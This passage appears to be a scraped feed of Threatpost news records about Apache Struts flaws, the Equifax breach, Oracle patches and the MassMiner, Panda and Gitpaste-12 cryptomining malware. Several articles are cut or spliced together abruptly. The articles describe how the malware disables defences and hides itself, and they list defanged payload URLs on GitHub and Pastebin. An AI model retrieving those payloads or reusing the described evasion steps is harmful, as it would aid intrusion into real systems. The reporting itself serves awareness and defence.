successfully, citing the exposure of personal data itself as a harm.\u201d\n\nFittingly, as if to get the ball rolling, on Wednesday U.S. Sen. Mark Warner (D-VA) asked the Federal Trade Commission to look into the breach and the company\u2019s security practices, namely whether Equifax has adequate cybersecurity safeguards in place for the amount of personally identifiable information it deals with.\n\n\u201cThe volume and sensitivity of the data potentially involved in this breach raises serious questions about whether firms like Equifax adequately protect the enormous amounts of sensitive data they gather and commercialize,\u201d [Warner wrote](<https://www.scribd.com/document/358810691/Sen-Warner-Asks-FTC-to-Probe-Equifax>), \u201cIn ways similar to the financial service industry\u2019s systemic risk designation, I fear that firms like Equifax may illustrate a set of institutions whose activities, left unchecked, can significantly threaten the economic security of Americans.\u201d\n\nThe letter came a few days after members of the U.S. Senate Finance Committee, including Sen. Orrin Hatch (R-UT) and Ron Wyden (D-Ore.) sent another letter to Equifax CEO Richard Smith asking for additional information about the breach.\n\n\u201cThe scope and scale of this breach appears to make it one of the largest on record, and the sensitivity of the information compromised may make it the most costly to taxpayers and consumers,\u201d the senators wrote in a [letter](<https://www.finance.senate.gov/download/91117-equifax-release>) on Monday.\n\nWhile the FTC doesn\u2019t typically comment on ongoing investigations the Commission did confirm Thursday afternoon because of the \u201cintense public interest\u201d and \u201cpotential impact of this matter,\u201d it was looking into the breach.\n\nEquifax said Americans and an undisclosed number of Canadian and United Kingdom residents were affected by the breach but security news site [KrebsonSecurity.com](<https://krebsonsecurity.com/2017/09/ayuda-help-equifax-has-my-data/>) said this week Argentinans may be implicated as well. Brian Krebs, who authors the site, claims he was contacted by Alex Holden, who runs the firm Hold Security, earlier this week. Two of Holden\u2019s employees, native Argentinans, discovered an Equifax portal for employees in Argentina that included their names, email addresses, and DNI \u2013 the Argentinian equivalent of a Social Security Number.\n\nThe site, according to Holden \u201cwas wide open, protected by perhaps the most easy-to-guess password combination ever: \u201cadmin/admin.\u201d Krebs claims the portal was disabled upon notifying Equifax\u2019s attorney and that the company is looking into how it may have been left unsecured.\n", "cvss3": {}, "published": "2017-09-14T16:00:34", "type": "threatpost", "title": "Equifax Confirms March Struts Vulnerability Behind Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T13:01:13", "id": "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "href": "https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:22", "description": "Oracle patched 250 vulnerabilities across hundreds of different products as part of its [quarterly Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html>) released today.\n\nRounding out the list of products with the most patches is Oracle Fusion Middleware with 38, Oracle Hospitality Applications with 37 and Oracle MySQL with 25.\n\nOf the critical patches, security researchers at Onapsis said that they identified three high-risk SQL injections vulnerabilities in Oracle\u2019s popular Oracle E-Business Suite (EBS).\n\n\u201cWhile all three are high-risk vulnerabilities, one (CVE-2017-10332) is very easy to exploit,\u201d said JP Perez-Etchegoyen, CTO of Onapsis.\n\nOnapsis is warning users of Oracle EBS (versions 12.1 and 12.2) that they are exposed to SQL injection vulnerabilities that could allow an attacker, over a network without any username and password credentials, to potentially gain access to and modify critical documents and information such as credit card data, customer information, HR documents or financial records.\n\nPerez-Etchegoyen said each of the SQL injection vulnerabilities can easily be exploited by attackers who can disrupt, exfiltrate or manipulate data that is part of a business\u2019 enterprise resource planning, supply chain management or finance management systems.\n\n\u201cThese vulnerabilities are especially risky as an attacker would only need a web browser and network access to the EBS system HTTP interface to perform it,\u201d Perez-Etchegoyen said.\n\nOnapsis said vulnerabilities found in Oracle\u2019s EBS are on the rise, with a 29 percent increase in 2017 compared to the previous year.\n\nThe[ patches come](<http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html>) just weeks after Oracle OpenWorld where Larry Ellison, co-founder, executive chairman and chief technology officer of Oracle, stressed the importance of security during his keynote.

Seventy percent believe it is likely their company would have a data breach due to insecure Oracle EBS applications that they have failed to secure or apply patches to.\n\nAlso part of Oracle\u2019s quarterly update are patches for its Java Platform, Standard Edition that received 22 new security fixes. Twenty of these vulnerabilities may be remotely exploitable without authentication, for example, they may be exploited over a network without requiring user credentials, Oracle said.

Users are advised to upgrade their Apache Struts components as a matter of urgency, according to Semmle, a software engineering analytics firm that first identified the bug.\n\n\u201cThis particular vulnerability allows a remote attacker to execute arbitrary code on any server running an application built using the Struts framework and the popular REST communication plugin. The weakness is caused by the way Struts deserializes untrusted data,\u201d the company wrote in [a technical write-up](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) on the vulnerability published on Tuesday in coordination with the release of a patch by Apache Software Foundation (ASF).\n\n\u201cThis is as serious as it gets; if remote attackers are allowed to exploit the newly identified vulnerability it can critically damage thousands of enterprises,\u201d said Oege de Moor, CEO and founder of Semmle.\n\nAffected developers are urged to [upgrade to Apache Struts version 2.5.13](<https://struts.apache.org/announce.html#a20170905>).\n\nThe ASF said there is no workaround available for the vulnerability ([CVE-2017-9805](<https://struts.apache.org/docs/s2-052.html>)) in Struts, an open-source framework for developing web applications in the Java programming language.\n\n\u201cThe best option (sans an upgrade) is to remove the Struts REST plugin when not used or limit it to server normal pages and JSONs only,\u201d the ASF wrote in a [security bulletin issued Tuesday](<https://struts.apache.org/docs/s2-052.html>).\n\nSemmle cites estimates the vulnerability could impact 65 percent of the Fortune 100 companies that use web applications built with the Struts framework.\n\n\u201cOrganizations like Lockheed Martin, the IRS, Citigroup, Vodafone, Virgin Atlantic, Reader\u2019s Digest, Office Depot, and Showtime are known to have developed applications using the framework. This illustrates how widespread the risk is,\u201d Semmle researcher Bas van Schaik wrote Tuesday, citing estimates by analysts at the software developer research firm RedMonk.\n\nMultiple similar vulnerabilities have been reported tied to Struts. Earlier this year, attackers were exploiting a critical Apache Struts vulnerability on Windows servers and dropping Cerber ransomware on the machines.\n\n[In March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), public attacks and scans looking for exposed Apache webservers were reportedly on the rise after a vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nSemmle said this most recent vulnerability is caused by the way Struts deserializes untrusted data. Deserialization is the processes of taking structured data from one format and rebuilding it into an object. The processes can be tweaked for malicious intent and has been used in a host of attack scenarios including denial-of-service, access control and remote code execution attacks.\n\nThe remote code execution attack Semmle identified is possible when using the Struts REST plugin with the XStream handler to facilitate XML payloads. XStream is a Java library used to serialize objects to XML (or JSON) and back again.\n\n\u201cLgtm (Semmle\u2019s open-source [code analysis tool](<https://lgtm.com/>)) identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection,\u201d Semmle said in a [second technical analysis of the vulnerability](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) posted Tuesday.\n\nData contained in one of the arguments (toObject) should be considered \u201ctainted\u201d and \u201cunder the control of a remote user and should not be trusted.\u201d This query detects common ways through which user-controlled data flows to a deserialization method, researchers said. \u201cHowever, some projects use a slightly different approach to receive remote user input,\u201d they said.\n\nSemmle said it has developed a \u201csimple\u201d working exploit for this vulnerability but currently has no plans to disclose it.\n\n\u201cThere is no suggestion that an exploit is publicly available, but it is likely that one will soon be,\u201d van Schaik wrote in a blog post.\n", "cvss3": {}, "published": "2017-09-05T14:10:54", "type": "threatpost", "title": "Patch Released for Critical Apache Struts Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-05T18:44:40", "id": "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "href": "https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-10-06T22:53:10", "description": "A group of developers behind Apache Struts, believed by some to be the culprit behind [last week\u2019s Equifax breach](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>), took umbrage with those claims over the weekend.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, wrote Saturday that if Struts was targeted, it\u2019s unclear which vulnerability, if any was exploited.\n\n[The letter,](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) which was written on behalf of the Struts PMC, was spurred by an internal analyst report published last week that suggested data from Equifax\u2019s servers was breached via an unnamed Apache Struts flaw.\n\nThe report penned by Jeffrey Meuler, a senior research analyst with Baird Equity Research, the research arm of the financial services firm Robert W. Baird & Co, did not provide a source for the finding. Meuler did not immediately return a request for further comment when contacted on Monday.\n\nGielen\u2019s letter took particular issue with a Quartz.com article that initially alleged CVE-2017-9805, a critical remote code execution vulnerability that the ASF [patched last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), was the Struts vulnerability to blame for the breach of 143 million Americans\u2019 records. The [Quartz article](<https://qz.com/1073221/the-hackers-who-broke-into-equifax-exploited-a-nine-year-old-security-flaw/>) \u2013 since edited \u2013 initially claimed that CVE-2017-9805 had existed in the wild for nine years, something Gielen had a hard time buying. Gielen said Saturday that since the breach was detected back in July, it\u2019s likely the Equifax attackers either used an unknown Struts zero day or an earlier announced vulnerability on an unpatched Equifax server.\n\nGielen says the ASF takes \u201cenormous efforts\u201d to secure software it produces, like Struts, and makes a conscious effort to hold back sensitive information around vulnerabilities. There is no silver bullet for preventing exploits from surfacing in the wild however.\n\n\u201cSince vulnerability detection and exploitation has become a professional business, it is and always will be likely that attacks will occur even before we fully disclose the attack vectors, by reverse engineering the code that fixes the vulnerability in question or by scanning for yet unknown vulnerabilities.\u201d\n\nIf the attackers had used CVE-2017-9805, it would have been considered a zero day at the time, but according to Gielen, the Apache PMC was only recently notified of the vulnerability \u2013 something it quickly remedied.\n\n\u201cWe were notified just recently on how a certain piece of code can be misused, and we fixed this ASAP,\u201d Gielen said, \u201cWhat we saw here is common software engineering business \u2014 people write code for achieving a desired function, but may not be aware of undesired side-effects. Once this awareness is reached, we as well as hopefully all other library and framework maintainers put high efforts into removing the side-effects as soon as possible. It\u2019s probably fair to say that we met this goal pretty well in case of CVE-2017-9805.\u201d\n\nGielen concluded his letter with a series of best practices for businesses who use Apache Struts to follow, including being aware which framework/libraries are used in their setup, that processes to roll out security fixes are established, and perhaps most importantly, to understand that complex software can contain flaws.\n\nAn Apache spokeswoman [told Reuters on Friday](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) that it appeared Equifax had not applied patches for flaws discovered this year.\n\nIt\u2019s unclear exactly which vulnerability the spokeswoman was referring to. The Struts vulnerability fixed last week affected all web apps that used the framework\u2019s REST plugin. Another Struts vulnerability, CVE-2017-5638, was publicized and incorporated into Metasploit [in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>). That flaw stemmed from Struts\u2019 Jakarta Multipart parser upload functionality and allowed an attacker to execute requests to an Apache webserver. Researchers with Cisco Talos, [who found the bug](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>), said it was being exploited in the wild when it was disclosed.\n\nResearchers with Contrast Security posit it\u2019s more likely the attacker used CVE-2017-5638, an expression language injection vulnerability leveraged via the content-type header, to hit Equifax.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Jeff Williams, Contrast\u2019s co-founder and chief technology officer, [wrote Saturday](<https://www.contrastsecurity.com/security-influencers/a-week-of-web-application-hacks-and-vulnerabilities>).\n\nWilliams echoed a few sentiments made by Gielen, including the fact that maintaining the security of libraries can be tricky but should remain a focus for businesses.\n\n\u201cKeeping libraries up to date isn\u2019t a small amount of work, as these changes come out frequently. Often these changes require rewriting, retesting, and redeploying the application, which can take months. I have recently talked with several large organizations that took over four months to deal with CVE-2017-5638,\u201d Williams said.\n\nEquifax, which has yet to respond to a request for comment for this article or [previous](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) [articles](<https://threatpost.com/many-questions-few-answers-for-equifax-breach-victims/127886/>), remains in damage control mode.\n\nThe company on Monday said it would be changing how it generates PINs for customers who want to initiate a security freeze on their accounts. The response was presumably in response to a series of tweets that went viral on Friday night calling out Equifax for using hardcoded PINs that mirrored the date and time they were requested, a format the company allegedly has followed for more than a decade.\n\n> OMG, Equifax security freeze PINs are worse than I thought. If you froze your credit today 2:15pm ET for example, you'd get PIN 0908171415.\n> \n> \u2014 Tony Webster (@webster) [September 9, 2017](<https://twitter.com/webster/status/906346071210778625>)\n\nThe company said in an update to its site that going forward consumers placing a security freeze will be given a randomly generated PIN. Users who previously froze their credit will have to mail the company directly to change it, however.\n\n> Equifax's security freeze system is now generating random PINs. If you already got one though, you have to MAIL them to change it. Fail. [pic.twitter.com/fOrtvgkmGd](<https://t.co/fOrtvgkmGd>)\n> \n> \u2014 Tony Webster (@webster) [September 11, 2017](<https://twitter.com/webster/status/907242378829889537>)\n\nThe company on Monday also apologized for lengthy call center wait times and stressed that users who sign up for TrustedID Premier, the company\u2019s ID theft protection and credit monitoring service, will not be charged as soon as the year runs out.\n\nThe company also took a moment on Monday to reiterate that signing up for the free credit monitoring service doesn\u2019t waive a consumer\u2019s right to take legal action.\n\nThe company clarified its TrustedID Premier policy on Friday afternoon after it was pressed repeated by consumers and politicians alike. One politician in particular, Eric Schneiderman, New York\u2019s Attorney General, opened a formal investigation into the breach on Friday, calling out the company\u2019s arbitration clause policy.\n\nAs expected multiple lawsuits have been filed against the company in wake of the breach.

Users of the vulnerable library must update their projects manually.\n\nThe critical bug in Commons FileUpload library is a known vulnerability ([CVE-2016-1000031](<http://mail-archives.us.apache.org/mod_mbox/www-announce/201811.mbox/%3CCAMopvkMo8WiP%3DfqVQuZ1Fyx%3D6CGz0Epzfe0gG5XAqP1wdJCoBQ%40mail.gmail.com%3E>)) that enables remote code execution in the open-source framework, which facilitates developing web applications in the Java programming language.\n\nEssentially a Java Object exists in the Apache Commons FileUpload library that can be manipulated so that when it is deserialized, it can write or copy files to disk in arbitrary locations.\n\n\u201cA remote attacker could exploit this vulnerability to take control of an affected system,\u201d according to the Monday [advisory](<http://mail-archives.us.apache.org/mod_mbox/www-announce/201811.mbox/%3CCAMopvkMo8WiP%3DfqVQuZ1Fyx%3D6CGz0Epzfe0gG5XAqP1wdJCoBQ%40mail.gmail.com%3E>). \u201cYour project is affected if it uses the built-in file upload mechanism of Struts 2, which defaults to the use of commons-fileupload. The updated commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the fixed jar.\u201d\n\nThe vulnerable commons-fileupload library is used in Apache Struts versions 2.3.36 and prior, the Foundation said in a Monday advisory. They urged users to upgrade to the latest released version of Commons FileUpload library \u2013 which is 1.3.3.\n\nThe vulnerability is reminiscent of [CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>), another critical remote code execution Apache vulnerability behind the massive 2017 Equifax breach that led to the compromise of 143 million Americans\u2019 data.\n\nWhile that Apache Struts vulnerability (impacting the Jakarta based file upload Multipart parser) was patched back in March 2017, the consumer credit reporting agency didn\u2019t apply patches for two months after the flaw\u2019s disclosure \u2013 eventually leading to the groundbreaking breach.\n\nSimilarly, this latest deserialization vulnerability was disclosed and patched in commons-fileupload in [March,](<https://issues.apache.org/jira/browse/FILEUPLOAD-279>) but since then a new version of Struts that became available \u2013 the 2.3.36 version, which was released in October \u2013 has touted vulnerable versions of the library.\n\nStruts versions from 2.5.12 are not affected, as this newer version of Struts includes a patched commons-fileupload component.\n\nUsers can fix the risk by replacing the faulty library manually.\n\n\u201cThere is no simple \u2018new Struts version\u2019 to fix this,\u201d said Johannes Ullrich, dean of research at the SANS Institute, in a blog [post](<https://isc.sans.edu/diary/rss/24278>) on Monday. \u201cYou will have to swap out the commons-fileupload library manually.\u201d\n\n\u201cAnd while you are at it: Double check that you don\u2019t have any other copies of the vulnerable library sitting on your systems,\u201d he added. \u201cStruts isn\u2019t the only one using it, and others may have neglected to update it as well.\u201d\n\nIt is only the latest security issue to afflict Apache Struts \u2013 earlier in August for instance, a critical remote code-execution vulnerability in Apache Struts 2 was [disclosed](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>).\n", "cvss3": {}, "published": "2018-11-06T12:27:15", "type": "threatpost", "title": "Apache Struts Warns Users of Two-Year-Old Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2016-1000031", "CVE-2017-5638", "CVE-2019-11043"], "modified": "2018-11-06T12:27:15", "id": "THREATPOST:A45826A8CDA7058392C4901D6AAD15F1", "href": "https://threatpost.com/apache-struts-warns-users-of-two-year-old-vulnerability/138820/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-04-25T05:49:59", "description": "Though it falls squarely into the trend of cryptominers setting their sights on the Monero virtual currency, the MassMiner malware family is adding its own special somethin\u2019-somethin\u2019 to the mix. It targets Windows servers with a variety of recent and well-known exploits \u2013 all within a single executable.\n\nIn fact, MassMiner uses a veritable cornucopia of attacks: The [EternalBlue](<https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/>) National Security Agency hacking tool ([CVE-2017-0143](<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>)), which it uses to install DoublePulsar and the Gh0st RAT backdoor to establish persistence; an exploit for the well-known Apache Struts flaw that led to the Equifax breach ([CVE-2017-5638](<http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html>)); and an exploit for Oracle\u2019s WebLogic Java application server ([CVE-2017-10271](<http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html>)). It also uses the SQLck tool to gain brute-force access to Microsoft SQL Servers, and it even incorporates a fork of MassScan, a legitimate tool that can scan the internet in under six minutes.\n\n\u201cIt surprised us how many different exploits and hacking tools it leverages,\u201d said AlienVault researchers Chris Doman and Fernando Martinez, who analyzed the code.\n\nThey added that the malware family comprises many different versions, but they all spread first within the local network of its initial host, before attempting to propagate across the wider internet.\n\nAs for the anatomy of the attack, compromised Microsoft SQL Servers are first subjected to scripts that install MassMiner and disable a number of important security features and anti-virus protections.\n\nOnce the malware has been installed, it sets about mining for Monero and hooking up with a crypto-wallet and mining pool; it also connects with its C2 server for updates, and configures itself to infect other machines on the network. Meanwhile, a short VisualBasic script is used to deploy the malware to compromised Apache Struts servers, and it moves laterally by replicating itself like a worm. MassScan meanwhile passes a list of both private and public IP ranges to scan during execution, to find fresh server targets out on the web that it can break into with the SQLck brute-force tool.\n\nSo far, the criminals behind the malware have been successful with this kitchen-sink approach: AlienVault in its [analysis](<https://www.alienvault.com/blogs/labs-research/massminer-malware-targeting-web-servers>) identified two Monero wallets belonging to the attackers.\n\nThe success is unsurprising, according to Ruchika Mishra, director of products and solutions at Balbix.\n\n\u201cGiven [the workforce skills shortage], it\u2019s not hard to imagine a multi-pronged attack such as MassMiner bypassing security systems and staying under the radar with relative ease,\u201d Mishra said via email. \u201cWith the proliferation of coin-mining attacks in 2017 and 2018, I foresee continued innovation and a significant uptick in complexity as the barrier to entry for attackers lowers and iterations of successful exploits become more readily available on the Dark Web.\u201d\n\nWorryingly, other capabilities in the bad code suggest that MassMiner may have loftier goals than simply cryptomining. On the EternalBlue front, it uses the exploit to drop the [DoublePulsar](<https://threatpost.com/nsas-doublepulsar-kernel-exploit-in-use-internet-wide/125165/>) Windows kernel attack, which is a sophisticated memory-based payload that hooks onto x86 and 64-bit systems and allows an attacker to execute any raw shellcode payload they wish, giving them full control over the system.\n\nMassMiner also uses EternalBlue to install [Gh0st RAT](<https://threatpost.com/eternalblue-exploit-spreading-gh0st-rat-nitol/126052/>), a trojan backdoor for persistence that has targeted the Windows platform for years. It was once primarily a nation-state tool used in APT espionage attacks against government agencies, activists and other political targets, until the EternalBlue exploit was used to spread it in other contexts last year.\n\nIncidentally, this is not the only cryptomining malware to make use of the ShadowBrokers\u2019 [release](<https://threatpost.com/shadowbrokers-remain-an-enigma/127072/>) of a trove of NSA exploits. Last week, [a malware called PyRoMine](<https://threatpost.com/pyromine-uses-nsa-exploit-for-monero-mining-and-backdoors/131472/>) that uses the EternalRomance tool was found in the wild mining Monero. Like MassMiner, it has far-ranging and concerning capabilities: It sets up a hidden default account on the victimized machine with system administrator privileges, which can be used for re-infection and further attacks.\n\nThe multi-pronged approach may be unusual, but it showcases the increasingly complex task that businesses have in front of them when it comes to their security postures.\n\n\u201cThe enterprise attack surface is hyper-dimensional and constantly increasing with hundreds of attack vectors. Enterprises continue to struggle with not just mapping their attack surfaces, but also identifying which systems are easiest to attack and can be used as a launch point for a breach,\u201d said Mishra.\n", "cvss3": {}, "published": "2018-05-03T20:26:37", "type": "threatpost", "title": "MassMiner Takes a Kitchen-Sink Approach to Cryptomining", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-0143", "CVE-2017-10271", "CVE-2017-5638"], "modified": "2018-05-03T20:26:37", "id": "THREATPOST:7E66A86C86BE8481D1B905B183CA42C3", "href": "https://threatpost.com/massminer-takes-a-kitchen-sink-approach-to-cryptomining/131687/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-05-13T21:58:43", "description": "The Panda threat group, best known for launching the widespread and successful 2018 [\u201cMassMiner\u201d cryptomining malware](<https://threatpost.com/massminer-takes-a-kitchen-sink-approach-to-cryptomining/131687/>) campaign, has continued to use malware to mine cryptocurrency in more recent attacks. A fresh analysis of the group reveals Panda has adopted a newly-updated infrastructure, payloads and targeting.\n\nWhile considered unsophisticated, researchers warn that the threat group has a wide reach and has attacked organizations in banking, healthcare, transportation and IT services. So far, researchers estimate that Panda has made away with more than $100,000 in Monero \u2013 and with attacks as recently as August 2019, the threat group isn\u2019t ceasing its activities anytime soon, they said.\n\n\u201cPanda\u2019s willingness to persistently exploit vulnerable web applications worldwide, their tools allowing them to traverse throughout networks, and their use of RATs, means that organizations worldwide are at risk of having their system resources misused for mining purposes or worse, such as exfiltration of valuable information,\u201d said Christopher Evans and David Liebenberg with [Cisco\u2019s Talos research team.](<https://blog.talosintelligence.com/2019/09/panda-evolution.html>)\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nResearchers first became aware of Panda in the summer of 2018 after they engaged in a widespread illicit mining campaign called \u201c[MassMiner](<https://threatpost.com/massminer-takes-a-kitchen-sink-approach-to-cryptomining/131687/>).\u201d During that campaign, the threat actor used MassScan, a legitimate port scanner, to sniff out various vulnerabilities in servers to exploit, including a WebLogic vulnerability ([CVE-2017-10271](<https://nvd.nist.gov/vuln/detail/CVE-2017-10271>)) and a remote code execution vulnerability in Apache Struts 2 ([CVE-2017-5638](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>)).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/09/17155626/image4.png>)\n\nThe threat group then would exploit the flaws and install malware, which would set about mining for Monero and hooking up with a crypto-wallet and mining pool.\n\nSince then, in 2019, researchers said that the threat group has constantly evolved to update its infrastructure, exploits and payloads.\n\n\u201cShortly thereafter [the 2018 campaign], we linked Panda to another widespread illicit mining campaign with a different set of command and control (C2) servers,\u201d researchers said. \u201cWe believe Panda is a legitimate threat capable of spreading cryptocurrency miners that can use up valuable computing resources and slow down networks and systems.\u201d\n\nPanda has constantly changed the vulnerabilities that it targets over the past year. For instance, in January 2019, Talos researchers saw Panda exploiting a recently-disclosed vulnerability in the ThinkPHP web framework (CNVD-2018-24942). And in June 2019, Panda began to target a newer WebLogic vulnerability (CVE-2019-2725) and leveraging an updated payload with new features to download a secondary miner payload.\n\nIn the most recent campaigns, including one which took place in August 2019, Panda began employing a different set of command-and-control (C2) servers as well as a new payload-hosting infrastructure.\n\nIn March 2019, for instance, researchers observed the actor leveraging new infrastructure, including various subdomains of the domain hognoob[.]se. And in August, researchers said they observed several attacker IPs, post-exploit, pulling down payloads from a newer URL and saving the file as \u201cBBBBB\u201d (a slight departure from previous behavior, when the file was saved under a random 20-character name). Panda would then execute the file via PowerShell.\n\nPanda has changed up its payload over the summer as well, so that it\u2019s initial payload now uses the Certutil command-line utility \u2013 which can be used to obtain certificate authority information and configure Certificate Services \u2013 to download the secondary miner payload.\n\nThough the threat actor has swapped up its payloads, targeting and infrastructure, very little of its TTPs [tactics, techniques and procures] are sophisticated, Cisco\u2019s Evans told Threatpost.\n\nFor instance, \u201cThey attempt to hide their miners using the exact same popular techniques we see with other groups,\u201d he told Threatpost. \u201cTheir infrastructure is predictable: I can usually peg a new Panda domain as soon as I see it in the data; they tend to just be iterations of each other. Their early infrastructure was registered using an email address that immediately allowed Dave to pivot into their social media in China. They attack the same honeypots day after day with the same payloads. They don\u2019t even bother to confirm their victims are running a vulnerable system before they deliver an exploit.\u201d\n\nBetween swapping up its tactics, domains and payloads, researchers said that Panda has now made more than $100,000 through illicit cryptomining \u2013 and moving forward, Panda remains an active threat that system administers should be wary of.\n\n\u201cThere are several ways to detect mining activity but let\u2019s focus on the simple solutions of patching and basic security controls,\u201d Evans told Threatpost. \u201cIf you\u2019re running a web-accessible WebLogic server that has hasn\u2019t been patched against vulnerabilities like CVE-2017-10271, it\u2019s likely they have at least targeted the system for exploitation if not actually dropped a miner on it\u2026 In addition, if you don\u2019t need it open to the Internet, take it off.\u201d\n\n_**Interested in the role of artificial intelligence in cybersecurity, for both offense and defense?

The malware\u2019s various attack modules include 11 previously-disclosed vulnerabilities. That includes flaws in [Apache Struts (CVE-2017-5638),](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>) Asus routers (CVE-2013-5948), Webadmin plugin for opendreambox (CVE-2017-14135) and [Tenda routers (CVE-2020-10987).](<https://threatpost.com/tenda-router-zero-days-spyware-botnet/159834/>)\n\nThe malware will attempt to use known exploits for these flaws to compromise systems and may also attempt to brute force passwords, said researchers. After compromising a system, a main shell script is then uploaded to the victim machine, and starts to download and execute other components of Gitpaste-12.\n\n## **The Malware **\n\nThis script sets up a cron job it downloads from Pastebin. A cron job is a time-based job scheduler in Unix-like computer operating systems. The cron job calls a script and executes it again each minute; researchers believe that this script is presumably one mechanism by which updates can be pushed to the botnet.\n\nIt then downloads a script from GitHub (https://raw[.]githubusercontent[.]com/cnmnmsl-001/-/master/shadu1) and executes it. The script contains comments in the Chinese language and has multiple commands available to attackers to disable different security capabilities. These include stripping the system\u2019s defenses, including firewall rules, selinux (a security architecture for LinuxR systems), apparmor (a Linux kernel security module that allows the system administrator to restrict programs\u2019 capabilities), as well as common attack prevention and monitoring software.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/11/06121832/gitpaste.png>)\n\nThe 11 vulnerabilities utilized for Gitpaste-12\u2019s initial attack vectors. Credit: Juniper Labs\n\nThe malware also has some commands that disable cloud security agents, \u201cwhich clearly indicates the threat actor intends to target public cloud computing infrastructure provided by Alibaba Cloud and Tencent,\u201d said researchers.\n\nGitpaste-12 also features commands allowing it to run a cryptominer that targets the Monero cryptocurrency.\n\n\u201cIt also prevents administrators from collecting information about running processes by intercepting \u2018readdir\u2019 system calls and skip directories for processes like tcpdump, sudo, openssl, etc. in \u2018/proc\u2019,\u201d said researchers. \u201cThe \u2018/proc\u2019 directory in Linux contains information about running processes. It is used, for example, by the \u2018ps\u2019 command to show information about running processes. But unfortunately for this threat actor, this implementation does not do what they expect it to do.\u201d\n\nFinally, the malware also contains a library (hide.so) that is loaded as LD_PRELOAD, which downloads and executes Pastebin files )https://pastebin[.]com/raw/Tg5FQHhf) that host further malicious code.\n\nResearchers said they reported the Pastebin URL, as well as the Git repo mentioned above that downloads malicious scripts for the malware. The Git repo was closed on Oct. 30, 2020. \u201cThis should stop the proliferation of this botnet,\u201d said researchers.\n\n## **Wormable Features**\n\nIn terms of its worming capabilities, Gitpaste-12 also contains a script that launches attacks against other machines, in an attempt to replicate and spread the malware.\n\n\u201cThe malware chooses a random /8 CIDR for attack and will try all addresses within that range,\u201d according to researchers. Classless Inter-Domain Routing (CIDR) is a method for allocating IP addresses and for IP routing \u2013 meaning that the attack targets all IP addresses within the random CIDR\u2019s range.\n\nAnother version of the script also opens ports 30004 and 30005 for reverse shell commands, said researchers. Port 30004 uses the Transmission Control Protocol (TCP), which is one of the main protocols in TCP/IP networks; while port 30005 is a bidirectional SOAP/HTTP-based protocol, which provides communication between devices like routers or network switches, and auto-configuration servers.\n\nWorms can have a widespread impact, [as seen in a 2019 campaign](<https://threatpost.com/linux-servers-worm-exim-flaw/145698/>) that exploited a vulnerability in the Exim mail transport agent (MTA) to gain remote command-execution on victims\u2019 Linux systems, using a wormable exploit. Researchers said that currently more than 3.5 million servers were at risk from the attacks.\n\nSeveral new worms have popped up in 2020 so far, [including the Golang worm](<https://threatpost.com/worm-golang-malware-windows-payloads/156924/>), which is aimed at installing cryptominers, and recently changed up its tactics to add attacks on Windows servers and a new pool of exploits to its bag of tricks.\n\nIn August,[ a cryptomining worm](<https://threatpost.com/aws-cryptojacking-worm-cloud/158427/>) from the group known as TeamTNT was found spreading through the Amazon Web Services (AWS) cloud and collecting 